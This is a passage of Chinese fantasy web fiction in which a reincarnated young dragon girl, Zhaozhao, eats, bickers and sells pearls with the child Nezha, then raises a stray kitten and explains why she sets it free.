她也不下树,仅是龙尾在空中延展,探至哪吒面前,想用龙尾上的毛毛去搔哪吒的鼻子。
龙尾还未触上哪吒的鼻尖时,还能自顾自在其面前悠闲摇晃。
却料不到后来,在冰凉细软的皮毛刚要触碰到哪吒,就被他猛地一把抓住!
“哎哟!”
“你干什么?”
哪吒此时说话的声音,与昭昭的声音没有什么区别,都是细细嫩嫩,若春柳嫩芽般的软脆。
而与他说话调子截然相反的是,他清醒后下意识举动的粗暴。
“痛!痛死龙啦!你先放开我尾巴!”昭昭抱住桃树,眼中泪水都挤出来了。
哪吒见她痛得厉害,瞬间就松开了自己攥着龙尾的手。耳边又听她说:“想挠你痒痒罢了,谁想到你装睡唬我!”
哪吒解释道:“没有装睡。”
他说完,又看见昭昭低头用手背擦眼泪,便又迟疑着放缓语气又解释了几句:“若你有恶意,你现在的尾巴已经被我捏爆了。”
昭昭放下抹泪的手道:“哦,那我谢谢你。”
哪吒摇头:“不谢。”
昭昭:“……”
不是,他还真敢接这话啊?
昭昭上辈子的人生加上这辈子的人生,从来都没有那么无语过。
这会儿被哪吒这天然怼顶了一下,她直觉这会儿自己的脑子像是被什么糊住了一样。
一时片刻,她还真想不出来自己能用什么话来回击。
想了想不是梗王的小伙伴,他被她怼回去了,估计也会因为资料库里的空白达成零伤成就。
这样的结果就很没有意思!!!
昭昭脑子思绪一转,瞬间就生出了个新念头。
她抱着自己的尾巴,往尾巴尖上的毛毛吹了几口气后,才用自己湿漉漉的眼睛可怜巴巴地望着哪吒道:“我尾巴痛,所以今天早上想吃野鸡蛋。”
哪吒皱眉不解:“你这一句话,前后没有正确的因果关系。”
昭昭不管,她继续憋嘴:“你捏我尾巴。”
哪吒:“是我捏的,但是……”
昭昭:“你把尾巴捏痛了。”
哪吒:“……”
“要道歉。”在她说这三个字时,哪吒已经转身往林中走去了,留给了她一个妥协的背影。
望着哪吒的背影,昭昭愉快地在树上摇动她的尾巴,觉得自己真是聪明绝顶,机智美龙。
小伙伴比她厉害又怎么样,只要她略施小计,还不是轻松拿捏!
鼻腔中哼着儿歌小调,挂在树上的昭昭像个监工的小地主一样,悠哉悠哉地等着哪吒给她上供早餐。
这次哪吒给她找食物耗费的时间,就远比上次长了。
他老实地在野地中翻找野鸡窝,一点也没有想偷懒,去城中买家鸡蛋的意思。
并且在从野鸡窝中拿鸡蛋时,哪吒除了会给每只野鸡留下孵化的蛋,他还会刻意辨别出蛋中生胎的卵不拿。
如此细致并留有余地的一番寻蛋之旅,导致哪吒在林子中足足折腾了半个时辰有余,才兜着一大袋野鸡蛋返回桃林。
回到原地,哪吒未走近就瞧见早前就熄灭的火堆,又被龙女重新燃起。
昭昭这时正背对着哪吒,蹲在溪水边洗自己被火熏得乱七八糟的脸。
她生火既是为了满足自己好奇心,也是为了证明自己本事不比哪吒差的不服输。
昨日哪吒快她一步的大装特装,她暂时是不能追上了,但在私底下像生火这种小事,她也是愿意暗戳戳努力,然后表示出自己不比他弱在哪里的骄傲!
可谁能想到钻木取火那么难!!!
若她不是龙,手都要搓出水泡了,呜。
要
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不是脑中回放着哪吒昨日生火的轻轻松松,她差点就要半途而废了。
好在她是谁?是上辈子纵横竞赛的优等生!是这辈子注定的天命龙王,她干什么最后都是会成功的!
洗干净脸,昭昭捧着自己的脸蛋看水中自己的倒影,在心中自问自答。
河中的倒影是谁啊?
是未来酷毙火辣,闭月羞花,沉鱼落雁的女王~
她正兀自美着呢,河中倒影却忽地多了一人。
哪吒盯着昭昭的笑脸问:“你这会儿在傻笑什么呢?”
昭昭对着他摇摇头,故作高深地说道:“我现在思考的东西,对于你这个年龄来说太高深了,你不懂。”
我不懂?
哪吒睨了一眼昭昭,转身就走到火堆边上,略干爽的草地上坐下:“别乐了,过来吃你的鸡蛋。”
昭昭哦了一声,走到哪吒身边挤着他坐下,口中甜甜的说了一句谢谢,就接过他手中的鸡蛋开始一口一个。
连吞了七八个鸡蛋后,昭昭才从怀中挑出十个蛋埋在火下的灰堆中,熟蛋她等会儿也想尝尝~
拍拍手,再想往怀里拿干净的蛋继续吞,她眼角余光却瞄见身边人目不转睛的注视。
“你看什么?”
哪吒托着下巴,对她说:“你吃鸡蛋的样子挺有趣的。吞得又快又规律,像蛇一样。”
听了这话,昭昭有些困惑他说的这是夸还是讽。
但是,昭昭对于这种风格的话语,一向只是对夸赞入座的,她挺起胸脯满意地对哪吒点点头:“那是当然,我可是龙!”
眼前的幼龙时时刻刻都在自命不凡,傲气十足的表现,在这个时代父辈的眼中,是不安于室,可对于哪吒这种同样骄傲的孩子来说,却是分外耀眼。
哪吒此时虽然没有捧一捧眼前的龙女,却是笑着问她:“我能喂你吃鸡蛋吗?”
昭昭会错了意,以为哪吒被她努力干饭的姿态着迷,得意道:“当然可以!”
看龙吞鸡蛋的过程,确实让人上瘾,等哪吒连喂了昭昭十七八个鸡蛋,才记起在回程的路上,自己想着回来问她的话。
自己捏她尾巴是不对,但这一切的开始说她戏弄自己在先吧?
找野鸡蛋做补偿这事,真不是她有意折腾他么?
哪吒并不是任人摆弄的蠢货,自己一个人独处时就轻易从愧疚中回转过味来。
他刚有心挑明,嘴上却又被龙女堵住。
昭昭昨日才吞下一头牛犊,今日还不觉得肚子饿,吃野鸡蛋状似轻松,其实却已徘徊在溜缝的边缘。
她吞生蛋时,还留心着火堆中的熟蛋。
眼珠一转,秉持着绝不浪费食物的民族优良传统,她决定塞几个给哪吒吃。
悄悄剥了鸡蛋后,她又担心哪吒不吃。他不吃岂不是暴露了自己折腾他的小…妙招?
思来想去,最好的办法就是……
昭昭将烤得香喷喷的蛋白,抵在哪吒的唇峰上:“啊~”
哪吒恍惚了片刻,回过神来拒绝道:“我不吃,这些都是你的。”
昭昭眨眨眼,继续将鸡蛋往哪吒嘴中怼:“可是你早上什么东西都没吃,尽顾着我了,投桃报李,哪吒,我也担心你饿呀。”
她也是好意。
这么想着的哪吒,张开嘴接受了昭昭的熟鸡蛋投喂。
一枚烤蛋下肚,哪吒便忘记了之前自己想问昭昭的问题。
随后他又想起她在很早之前,就分出鸡蛋埋进火堆的举动。哪吒想着关心自己的朋友不会那么坏,就全当自己之前的猜疑是胡思乱想。
哪吒还是太单纯见得世面少了,导致他在这顿早餐里完全没计数,若他从昭昭吞下第一个鸡蛋开始就数到最后,他就会发现一个惊讶的事实。
一共八十六个野鸡蛋,昭昭一条龙就吃了八十三个……
而在场唯一一个被忽悠着付出劳动力的人,他获得了多少自己的劳动成果呢?
5. 第 5 章
“嗝~”
吃得属实撑了,昭昭忍不住打了个嗝。
她飞快地捂住嘴回头看了一眼哪吒,见他没有笑话自己后,脸上的热度才逐渐退去。
两人吃完了早食,便折了桃枝刷牙。
简单洗漱后,两人坐在原地面面相觑,暂时都想不出来待会儿他们要玩些什么。
昭昭盯着哪吒发问:“待会儿我们玩什么呀?”
哪吒也不知道。他惯是独来独往的人,平日又总待在山中苦修见不着外人,前面的人生里,自始至终都没有同龄朋友的出现,到现在他自然不知道该和昭昭玩些什么游戏。
“我想想。”他嘴上先给了一个回答,心中却陷入了为难。
难道又带上她去捣毁妖精洞府?
除此之外打发时间的游戏,哪吒是一概不知。
像此处他们休息的桃林,在他的意识中,同样也不是个什么玩耍的好去处。
一个暂时歇歇脚的地方,若再找个同样的地方糊弄人,是会被她看出来的吧?
哪吒对上昭昭满是期待的双眼,顿了顿,忽地觉得自己其实可以带她去人居住的城镇玩耍。
这么做,可以让她见见世面,也改掉些茹毛饮血的坏习惯。
他记得天上很多装模作样的神仙,他们表面上都是一副极其排斥吃生食这种行为的。
这想法是越考虑越可行,哪吒随即便问昭昭道:“我带你去人居住的地方玩,怎么样?”
昭昭点头:“可以啊,那么我们是去昨天那群小孩居住的地方玩吗?那处城镇瞧起来是挺繁华的。”
“繁华?”哪吒重复了一遍她说过的词,表情有些许古怪。
他想给她解释,他们是要去人群聚集的热闹地方,出口却变成了一句略带嘲讽的话:“那里也能叫繁华?”
昭昭脸上的笑容飞快凝固,然后在她说话的下一刻烟消云散:“哪吒,你说话好刻薄。”
她小小叹了一口气:“我俩,一个第一次离开家上岸,一个住在远离人烟的地方修道。都是山里人,对外面的见识,你我应该差不多。”嘚瑟个什么呀!
哪吒转过头,回避了昭昭的眼神,不接话。
他下意识脊背绷直了,向远处环绕翠山的白雾望去,风吹开碎发,露出他泛红的耳垂。
“我是说我可以带你去更大更热闹的地方玩。”
见哪吒知道自己说错话了,昭昭便没继续对他穷追猛赶,只道:“是哪?”
见她没有继续暗讽自己,哪吒才转过头看她道:“去南赡部洲,那处人最多,地方上少有妖怪作祟,是个好去处。”
昭昭没听懂,但她从不让别人的话掉地上。
她给哪吒面子的哦了一声,随即又问了他些这个世界的地理情报。
得知此世陆上分了四大洲,昭昭对于自己穿越了的认知越发清晰。
又从哪吒处得知四大洲没有统一,昭昭就歇了往远处乱跑的心思。
她本身丰富的历史知识告诉她,没统一的大陆,它存在本身就是莫大的危险。
本着在陌生大地上,要相信土著指引的基本生存准则,昭昭道了一声好吧就和哪吒驾云,往南赡部洲的方向飞去。
到了地方,一人一龙随便选了座城池,在城郊落了云头。
昭昭脚踩在又一片新土地上,才想起一个至关重要的问题:“哪吒,你有钱吗?”
她这个问题,得到了哪吒理直气壮的回复:“我怎么会有这种东西。”
那很好,她明白了,他们是两个穷光蛋。
昭昭这时就很庆幸,自己现在这个龙的身份。做龙来钱的方式,可比人快多了。
昭昭想到过来这里时,她在云端往下四处扫视,瞄见过的宽阔河面。立时脑中有了发财计划的她,对着哪吒自信一笑:“你在此处不要走动,我去给你捞些珍珠来!”
哪吒:“我不喜欢等待,我还是与你同去罢。”
他若是习惯于等待这种枯燥寂寞的事情,便不会总是跑到山外玩耍了。
“我记住了。”昭昭听了哪吒的话,没有多问,立刻就拉着人重登云头,到了大河处,她一马当先化了原型,扎入水中而去。
龙身在水中来去自如,很快昭昭就在水深处寻觅到不少大蚌。
她开壳取珠,拿了珠儿不少,连蚌肉也一并卷走。
昭昭重新窜上云头,先将爪中蚌珠蚌肉丢在了云上,随后才重新化作人形,盘膝坐在云上。
她忙着要盘点自己的收获,连忙用手拍打身旁的空位招呼哪吒坐下。
在一阵连续又短促的啪啪拍云声中,哪吒坐到了龙女的身边。
昭昭见他坐下后,便安心数着自己的收获。
去掉一些巴洛克异形珍珠,她手中留下的形状规整些的珠子,竟然不满两手之数。
她有些失望,嘟着嘴巴嘀嘀咕咕道:“才这么点!”
“已经不少了。”哪吒平日里多和母亲待在一处,他对于首饰方面有些见解,随即评价道。
昭昭心里其实知道自然珍珠完美体的稀有,现在又收到了好朋友的安慰,她便只能惋惜地叹道:“可惜古代不流行巴洛克珍珠。”
不然,刚才她丢掉的异形珍珠中有些珠光不错的,也能卖个高价。
哪吒刚想问她巴洛克珍珠是什么,便看见她又从留下的珍珠中留了两粒。
他听见她碎碎念着什么最好的要回去带给母亲,心中好奇就问:“你不是离家出走,不认父亲了吗?”
昭昭爱惜地把自己挑出来的珍珠,收进怀中藏好,才回答道:“那老筷子不道歉,我是不回回去的。可妈妈是妈妈,老东西是老东西呀!”
说完,她将堆在云上的珍珠,往哪吒面前滚了滚,道:“我很大方的,你也挑两颗拿回去给你妈妈做耳环。”
哪吒道了一声谢,便也没有多客气,挑了两粒放在腰带中,便与昭昭重新回到了原先离开的地方。
一人一龙,翻越墙头落在城中,手拉着手就往当铺找去。
顺着店铺招子,他们寻到了当铺进入。昭昭将手中全部珍珠堆在了桌上,就招呼伙计道:“这些多少钱?”
伙计看见桌上这么些好珠子,忙返身往里去,找了掌柜出来。
昭昭不懂行情,却晓得若面前的人在自己加价后还不变脸色,那她就还能将价钱往上提些。
可惜昭昭还没与这掌柜唇枪舌战过几招,一旁等待的哪吒,他就不耐烦地掰下一块实木桌角,在当铺掌柜与伙计的眼中将其碾成齑粉,终结了这场舌战。
昭昭在被哪吒拉出当铺后,还没有从他的骚操作中回过神来:“你干什么啊?”
哪吒垫了垫手里鼓鼓囊囊的钱袋子道:“和俗人多费口舌干什么?他们都是一样的自大、贪婪。”
原本该高价的珍珠,偏偏要拿个半价糊弄小孩。
哪吒瞧昭昭与人再说下去,珠子的成交价也不会超过七成。
这样的结果配不上她的辛苦。
与其啰啰嗦嗦个没完,不如让他来直接点,武力服人!
昭昭无语道:“就多几句话的事。”
哪吒捏捏钱袋,笑道:“你是个呆子,对面都以貌取人,当你是寻常小孩哄骗了,还多说几句话的事?”
他挑起眉毛,得意道:“对俗人,比起言语,还是我刚才那一下有用!”
昭昭:“……”
先礼后兵,道理才能站在自己这边的道理,哪吒竟然不懂?
昭昭大受震撼,昭昭试图理解,最后昭昭给哪吒找了个理由:
“你不识字没关系的,以后多读些书就是了。”
哪吒的脸黑了,他自负天资聪颖,却是头一次被人当做了文盲……
“我识字!”他气鼓鼓道。
说完看眼前人无辜的表情,更是气上加气:“我读的书,可比你多多了!”
昭昭不和小豆丁争长短,要知道她上辈子可是受现代教育多年的有为少年。
哪吒才五岁看的书,能有她多?呵。
昭昭望着哪吒气得鼓起的小脸,道:
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“那…算你厉害?”
哪吒:“……”
她这次绝对是故意的!!!
“昭昭!”
“我在!”
像点道般回话完,昭昭不解地注视哪吒,不明白他为什么生气。
哪吒此时的眼睛是生气的眼睛,昭昭望见他眼中有愤怒的火焰在燃烧。
可一旦与他对视久了,她却又能在他眼中察觉到一丝紧张。
哪吒仰着头,腮上还鼓着软肉的年纪,这扬起下颌的举动,让他装成熟的样子显得更加幼稚。
昭昭眨眨眼觉得眼前人的怒火分外有趣。
是他长得太好看了,所以生气也显得格外有意思。
唉,这个看脸的世界。
唉,她这个看脸的人。
昭昭心中感叹完,伸出另一只手就想和哪吒双手拉双手,却被他预判到目的,侧身躲开。
哪吒默不作声地盯着昭昭落空的手不说话。
昭昭的手僵在半空悬着,半晌才慢慢缩回去。
……不妙,他这个眼神扎手。
昭昭看着自己的手,撇嘴。她刚才意识到自己居然被个真正的小孩子的目光吓到了。
好丢人,不,好丢龙哦。
这一丝小情绪在她心中闪得很快,随后她就意识到自己现在的心理很幼稚。
可惜现在已经是重开的龙生了。不然昭昭她上辈子一天的卷子,就能把哪吒糊成木乃伊。
这样他就知道他们两个之间,到底是谁读的书,比较多了。
哪吒望着昭昭不服气的样子道:“我还以为你是个无拘无束的,没想到你比我守规矩多了。”
突然哪吒又拉近一人一龙之间的距离,靠近昭昭,表情严肃地问道:“昭昭,你真的是龙吗?”
哪吒尖锐的语气,带着股不容人拒绝的霸道,居高临下的质问昭昭。
这一次,终于轮到她回避哪吒的视线了。
昭昭觉得不妙,非常的不妙现在这种自己被人看穿的感觉也太糟糕了。
他这样气势汹汹的,如果自己不给他个让他确信的回答,怕不是她这条龙,就将沦为待人解开的迷题。
穿越这种事情,她连亲生父母都不会说,又怎么会告诉哪吒。
“我当然是龙,你都看过我原型了。”
昭昭指了指自己的脑门,又道:“而且我人形露角,也是因为幼龙化作人形时,法力不稳。”
顶着哪吒的怀疑,昭昭尽力故作镇定地为自己辩解。
到了这时,哪吒面上怒意全消,却也不露笑意时,昭昭才发现他面上这双眼睛细看时容易让人联想到狼的眼睛。
望着人冷冰冰的,有些漠不关心,更多的却是无声的审视。
昭昭倒不害怕这样的眼睛,因为哪吒的眼神再冷,其中也是没有任何恶意的。
“像人,不是说明我厉害吗?”她又一次去拉哪吒的左手,这一次她拉住了他的手。
手牵手,摇一摇后,她抱怨道:“你突然那么严肃凶我干嘛?”
“没有凶你。”哪吒低头注视着他们牵在一起的手。
他没有再多怀疑什么了,想着面前的小龙,弹指间他就能用乾坤圈解决掉,她骗他了又能骗什么呢?
而她也最好不要骗他。
哪吒手上用力,侧身回握过去,道:“你以后别学人了,太像人不好的。”
昭昭:“什么意思?”
哪吒:“是人不是什么好东西的意思。”
昭昭不理解,哪吒这话怎么像是把自己也给骂进去了。
她想问他为什么骂自己,下一瞬却听哪吒这样说道:“我爹不是什么好东西,我也不是什么好东西。我都不是什么好东西了,其他人怎么可能会是好东西!”
这啥和啥啊?
昭昭给听晕了,转过味来只觉哭笑不得。
这什么版本的以己度人呀!
随即她又想到哪吒都说自己不是什么好东西了,那她就让让他吧。毕竟这人狠起来,自己都骂……
6. 第 6 章
昭昭她迟迟不回话,哪吒也从她现在脸上的表情得出了答案。
他反问道:“你不信?”
昭昭惊了,心想他怎么知道?!
让让他这个表意下隐藏的第二层含义就是,她对此保持怀疑。
昭昭眨眨眼从鼻腔中发出一声嗯后,慢慢念道:“我觉得你挺好的呀。”
哪吒这时才发现面前这条小龙真的很傻:“你才见过几个人?再说我好什么了?”
她是真觉得他对自己不错啊…
昭昭忽地被哪吒原地升堂了,思忖片刻后一一列举道:“你很强,又照顾弱小,还带我玩,这就很好。”
另外昭昭不能言明的一点就是,面前这小子看着暴躁,其实非常非常非常好哄。
哪吒沉默不语,他皱着眉盯着昭昭直看,像似在这一个呼吸间已经陷入什么极难的问题。
他皱着眉,表情变得越来越严肃,他企图让自己在同龄人眼中变得威严。
他很努力,但很可惜。
在昭昭眼中哪吒眉间的褶皱,就像是灌汤包上的褶子,完全无法让她产生出小喽啰被慑住后的凝固反应。
她直觉得他瞅啥瞅啊?
就在昭昭即将像小老头一般皱眉时,哪吒行动了。
他向一旁退了几步,凝视着她道:“我不可能一直陪你在外面玩,你应该学会对所有不认识的生灵提高警惕。”
“你要回家了吗?”昭昭能猜测到哪吒接下来可能有的长篇大论,但她不想听。
哪吒点点头将钱袋递到昭昭面前:“你把钱拿走,然后我们分开。”
等昭昭拿回钱袋后,哪吒又说:“我和你在一起似乎增长了你的惰性,等你学会一条龙在外生存后,我再来找你。”
昭昭:“哦。”你字多那就听你的呗。
她没有挽留哪吒的离去,表情堪称平静地望着他的背影消失在街头。
他的话听上去是为自己好,但昭昭只觉得哪吒的脾气风一阵雨一阵的阴晴不定。
自己企图通过地方土著的引导,了解当地风土人情很奇怪吗?
这就依赖了啊?
昭昭踮起脚望望此时已经找不着人的街头,嘟囔道:“没见识。”
朋友间真正的黏糊都没体验过的小屁孩,拽什么拽!
本是一句很正常的吐槽说出口,昭昭却在自己说完这句话后,感受到一股强烈且意味不明的关注。她猛地左右回头环视周遭,却没有在过往的人群中发现在暗中拿眼神刺自己的那个谁。
这种感觉很怪异,她能觉察到有谁在看着她,却不能找到视线的主人。
这感觉就像是她身上被裹上了一层带着热度的凝胶,刺痛,灼热,且让人心中生出一种莫名的恐慌感。
但这异样的包裹感,也是只在初时的几息控制住了昭昭的躯体,很快她就恢复了正常。
龙最初乃天地之灵气所化,现在虽没落至此,龙的五感却依旧敏锐通透,远超世间大部分生灵。
既然她从刚才那种诡异的反应中挣脱,那她就不愿意再在原地久留。
无论方才是不是错觉,昭昭都明白,接下来的时光,她要一条龙度过。
和多数游玩的人一样,昭昭到了新地方没有乱跑,而是选择先去找点好吃的祭祭五脏庙。
仅仅是站在路上用鼻子嗅闻,她就很快确定了自己要在哪家酒楼入座。
“客人,你要吃点什么?”伙计看见昭昭入内,凭借着她一身穿着与普通百姓的不同,他连忙上前热情招呼。
昭昭眼睛往这伙计干净的手上一瞟后,就在店中随意找了张桌子落座。
要吃点什么呢?昭昭很是犹豫。
思考片刻,到底是受与哪吒分别前的话影响,昭昭没有像寻常旅客般询问伙计。你家有什么招牌好吃的/或本地有什么特色食物,而是凭借着信任自己嗅觉的想法点菜。
昭昭对着伙计,说出了一瞬间中的经典台词:“我要一壶酒,一盘牛肉,一碗面!”
虽然昭昭没到饮酒的年纪,伙计也不敢多言。
伙计依照她的吩咐去了后厨,找到一个手上空闲的厨子,对他说出了堂中客人的要求。
这厨子打先是上半两酒在火上温着,后才洗手去揪下一块发酵好的面团,扔在案板上擀片切丝。
他边切面边和等着上菜的伙计打趣:“那女娃年纪这么小,点酒你这厮是真敢给人家上啊!”
有调侃也有提点,厨子也怕给人喝出事来。
伙计面色不改,他没有受一点话的影响,直白地低声和厨子解释:“你别看她穿得富贵,现在这世道来吃饭的客人是人还是其他什么,谁又能知道他的来历呢?”
厨子听懂了伙计的话,是越想越怕,脸都被自己吓白了。
伙计却不理会厨子的害怕,只关心他手下切面的动作越来越慢,提醒道:“你这是做什么,快些把吃食做好,给他上了便是。其余的事情,不是我们这种小人物该管的。”
厨子蓦地醒过神来,应了两声就专心做菜。
也不知是不是他们两个人的错觉。
两人方停下交谈,耳边就忽地听见一声短促的孩童笑声,来得突兀诡异。
可这青天白日下,房中站着做事的都是成人,又从窗户往院里张望,四下里是空荡荡无人躲藏,莫非……
心中百般猜疑,却无人敢在心中给莫非两字后的空白填上答案。
都怕…都怕着念什么,什么来罢了。
这凭空出现的笑声,其主人并不是来自伙计厨子们脑中想象出的可怕存在,而是来自酒楼顶上躺着晒太阳的哪吒。
原来他和龙女分别后,并没有离开她的身边,而是选择悄悄跟在她的身后看她行事。
初时哪吒离开,他且等着身后的小龙她心生胆怯,叫住自己。
可直到他走到她看不见的地方,也未听见背后传来一句挽留声。
哪吒心中有些气愤,直觉得龙女口中的甜言蜜语都是骗他的。但仔细想想,龙女若真的怯懦到依靠他,他虽是不会弃她不顾,却也再不会将她当做朋友久久相处。
躺在酒楼瓦片上的哪吒,他仰面晒着太阳。胸膛前挂着的金环,在日光的照耀下闪闪发光,吸引来不少鸟雀留顾。
哪吒他一动不动似是睡着了,放着那些胆大的鸟雀落在他身上,啄衔乾坤圈。
孩童仰躺着,白裳敞开,露出其里着着的皂色滚边红肚兜,小肚子随着呼吸一起一伏。
哪吒身上最软绵暖和的地方,蹲着三只毛茸茸的鸟雀,它们挤着若三团毛球小巧玲珑。
这三小只它们胆大,却只图孩童身上的温暖柔软,不像另外几只同类,敢于去在金色项圈上啄啄点点。
“有酒有肉,还挺会吃。”哪吒抬起手屈指往自己胸前翘着的小鸟屁股一弹。
“叽!”小鸟从哪吒胸前滚落在瓦片上,又咻地一下展翅飞在天空。
小小的个头,脾气却不小,气愤地对着下方的哪吒叽叽喳喳好一顿叫骂。
哪吒对这些小生灵的容忍度出奇的高,对着小鸟的骂声,他仅是挥着手嘴中去去去地赶它。
随即见这小鸟对自己弹它屁股的举动愤愤不平,哪吒便笑道:“我又不是草木,你都要在我身上拉屎了,还不准我赶你么?”
言罢,等下面的人把酒肉面准备齐了,哪吒才缓缓起身准备移动自己的位置。
他从瓦上挺身跃起,惊飞一身的毛团子,落地的动作却比狸奴还要悄无声息。
昭昭在堂中吃面闻酒,他在楼顶上仅是换了个位置,继续蹲着晒太阳。
哪吒晒太阳是晒出了困意,半阖着眼闭目养神。
等龙女吃完了东西,他才慢悠悠缀在她身后跟去。
这半天哪吒什么奇的也未看出来,只得出个昭昭确实爱吃牛肉的饮食偏好。
他远远盯着她的头顶想到,之前她饱得打嗝是假的吧。
明明还能吃得下东西,却把鸡蛋分给自己。
一个短暂的分神,他差点被突然扭头看来的龙女发现,好在他反应及时藏在了屋脊后。
这差点被发现的经历,让哪吒不能再一直盯着龙女瞧,他变得更小心了。
后续在屋檐上跃起又落下,他都尽可能让自己姿态轻盈地,像是一只在水面上暂时落脚的鸟。
一路尾随,哪吒看见昭昭时不时在街头停下,花大钱去买一些她看上的小物件。
如制作粗糙味道寡淡的豆糕、陶做的小狗、竹制的小人、几朵碎步堆成的头花。
以上物件,她都掏钱买了,哪吒还能理解,但她买把桃木剑干什么?
她下一步是要去斩妖除魔吗?
心中这么猜测,下一刻哪吒却看见她嘴中念着什么独孤九剑,将木剑拿在手上简单比划几圈,就将其挂在腰上再不理会。
……挺有童心的。
哪吒在心中淡淡点评上一句,便接着围观昭昭在人群中的冤大头行为。
百姓们是个神奇的群体,他们的胆量的变化是随机波动的。
昭昭总是花出,远超物体本身价值与标价的银钱消费,围在她身边的百姓便胆子大了起来,一个个对她倾销起了自己的货物。
……连卖鸡蛋的都来向她兜售自己的货物了。
昭昭心中无奈,她本不需要钱财傍身,这次想多给点钱让小商贩们开心开心,谁知人们真把她当冤大头了。
婉拒了买鸡蛋的婆婆推销,昭昭耳边忽地捕捉到一声细弱的猫叫。
———“咪!咪!咪!”
这声音又细又尖,一下就将昭昭的注意力引向了街对面。
在那里有一只特别特别小的猫儿,靠着墙壁小声地叫着。
它挺着小脑袋,
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恐惧又迷茫地望着眼前人们移动的大脚,紧张得一动不敢动。
昭昭远远望着猫,觉得这只小狸花猫,活脱脱就像块被人嗦过的芒果核一样,身上的毛又炸又糙。
挺可怜。
想想她现在是有能力,负担起这条小生命的未来的,昭昭便没有犹豫地朝它走去,穿过人流她将小猫抱在了怀里。
现在除了逛街,有了更新的事物吸引住了她,昭昭便不再逛街,抱着小猫离开了凡人居住的城镇,往山林中遁去。
之后的日子里,昭昭抱着幼猫跟在了一群野羊群之后。
羊群中带崽的母羊给幼猫哺乳,作为交换她会驱赶在此期间捕猎羊群的野兽,以次作为龙羊之间公平公正的交易。
也就过了大概两个月多一点的时间,小猫断奶,昭昭就和野羊们告别了,转而带着小猫藏进又一处凡人居住的城镇。
昭昭化为原型,将自己的身形缩至少女手腕般粗细,开始躲藏在城中的角落里,如同猫妈妈般教养着她捡来的小狸花猫。
捕食猎物、寻找藏身之地、确认干净水源、偷食人的食物,诸如这些生存技巧都被昭昭摸索着教给幼猫。
这段龙猫跨物种的、且不求回报的互动全被哪吒看进了眼里。
很多时候龙女和幼猫之间的互动,都让人会心一笑,唯有昭昭拿蛇来吓猫时,让哪吒心中觉得又是理解又是好笑。
被龙养大的猫,让龙忧心它会把蛇当做自己来亲近,的确是件很让龙烦恼的大事。
就在哪吒认为昭昭会将这狸花猫养一辈子时,在一个平常的午后,他却看见了龙与猫的分别。
是在一座废弃民房的院中,杂草没过龙女的脚踝,她重新化作人形,抱着狸花猫亲亲贴贴。
直把肥嘟嘟的猫耳,亲得嗷呜嗷呜。
龙女笑声清脆动人,眸中满是怜爱地望着手中,被她养得肥墩墩的狸花猫。
阳光落在他们两个身上,都显得比落在他人身上温柔。
哪吒看见她从袖子中,拿出一条挂着不会响的铃铛的红绳,把它松松地系在了肥猫的脖子上。
随后她就把猫儿放在了地上,并把它驱赶出了这处他们停留了半年的院落。
哪吒听这猫叫得凄惨,却无法再像此前一般触动昭昭。
她严厉却也温柔地一次次将小猫推开,直到小猫彻底明白她的意思后哀叫着远去。
小猫长成大猫了,哪吒心中惆怅地想。
很奇怪,他没有参与抚养幼猫的过程,他在离别的时刻,却觉得自己心中的不舍或许只比昭昭少一些。
狸花猫彻底离开院落后,昭昭也拍拍手利落地离开了这里。
她跑了很远,跑到了山中一处带水潭的瀑布栖身。
哪吒在昭昭孤身一龙时,依旧没有现身。他藏在暗处看着她一条龙生活,吃了睡,睡醒了玩,自由自在的,似乎半点也不牵挂离开她后,独立生活的狸花猫会不会遇到什么困难。
短短几天时间过去,就让哪吒觉得曾经那只被龙女抚养长大的猫,彻底消失在了她的生活中,毫无痕迹。
就像他一样。
霎时一股窒息感出现在了哪吒身上,让他觉得近乎心脏都被人掌控住了,挣脱不开的难受。
想不通的当夜,他现身在了龙女面前。
哪吒问着水潭中戏水的龙:“你的猫呢?”
“原来你还在跟着我啊。”
答非所问的一句话,成了此时对哪吒的回答。
哪吒变得有些呆愣,月下他的身躯和影子有着不分上下的僵硬。
昭昭没料到哪吒会再出现在自己面前,她还以为他一直藏在暗处,是忙着孵蛋呢!
昭昭能猜到哪吒一直在跟踪自己的原因,在于有好几次她还带着猫藏在城中讨生活时,有几次差点暴露身份时,都会有意外发生为她解围。
紧张难耐的当时,她确实发生了觉得自己很幸运很龙傲天的错觉,事后却觉得那些‘意外’发生的过于巧合。
好像他们的出现,都是为了帮她解围才特地发生的。
过于幸运的生活,让昭昭怀疑命运开始了对自己独属的杀猪盘。
人性中残存的侥幸心理,让她保持警惕的同时,开始怀疑自己身边的一切幸运都是‘熟人作案’。
当然了,昭昭又想到不管是不是熟人相帮,这一场怀疑的比赛,考验的是观察对象与观察者之间耐心比拼。
万幸,痴长哪吒几岁的昭昭,她在耐心上胜过了哪吒一筹。
她在水潭中自由自在地摇晃着尾巴,夜风吹动着龙须在风中舞如银线,吸引住了对面人的视线。
昭昭见哪吒的眼神落在了自己的龙须上,又到:
“它不是我的猫,我只是暂时照顾好自己了它一段时间。”
“那你为什么要给猫带上铃铛。”哪吒轻轻地问。
7. 第 7 章
昭昭没料到哪吒出现在她面前,会连着问两个这样的问题。
她觉得很有趣。
同样在哪吒身上,昭昭从他的提问上看见了他性格上的天真,一种野性的天真。
只有性格天真烂漫的人才能问出这种话。
龙鳞在水中摇出哗啦啦的声响,水面上绽开的水花流银般映在哪吒的瞳孔上。
在水声中,他听到了龙的回答:“你也知道我遇见小猫时,它还很弱小。连人轻轻落下一脚,似乎都能多走它的生命。”
“我很高兴在相遇时,我有能力救它一命,但把它养到能独立生存后,我和它就该分开了。”
哪吒还是不理解,在他的认知中胖猫已经是属于昭昭的了:“为什么呢?”
“因为小猫它不属于我呀,小猫它是自由的。”龙这样回答。
昭昭快活地摇着尾巴:“每个生命的一生,都是独属于他自己的大冒险。我觉得不论是谁,又或是以什么方式相遇,一个生命都不应该决定另外一个生命的未来与结局。”
“我照顾了这只猫,它就在我心里变成了一只特殊的小猫。但也因为这样,我不应该为了自己的恐惧,担心它未来有可能会遭受到的不幸,而强制决定把它养成一只只能依靠我生存的小废物。”
哪吒仍在纠结:“铃铛……”
昭昭忽地叹气,为了人看不出龙的小巧思而叹气:“铃铛,它不响啊。”
“我给小猫系上铃铛,不是为了要告诉从今以后每一个与它相遇的人,它是我的猫。而是想让铃铛成为小猫被爱的证据,从而让以后任何想伤害它的人有所顾忌。”
昭昭忽地想起了上辈子的故事,一个属于别人的故事。
人性是很贱的。多数人习惯伤害不被在乎、不被爱的群体,因为这样做后付出的代价极其微小。而被具体地爱、被具体在乎的人,他们一旦受到伤害后,明眼人都知道会有人来为他们讨回代价的。
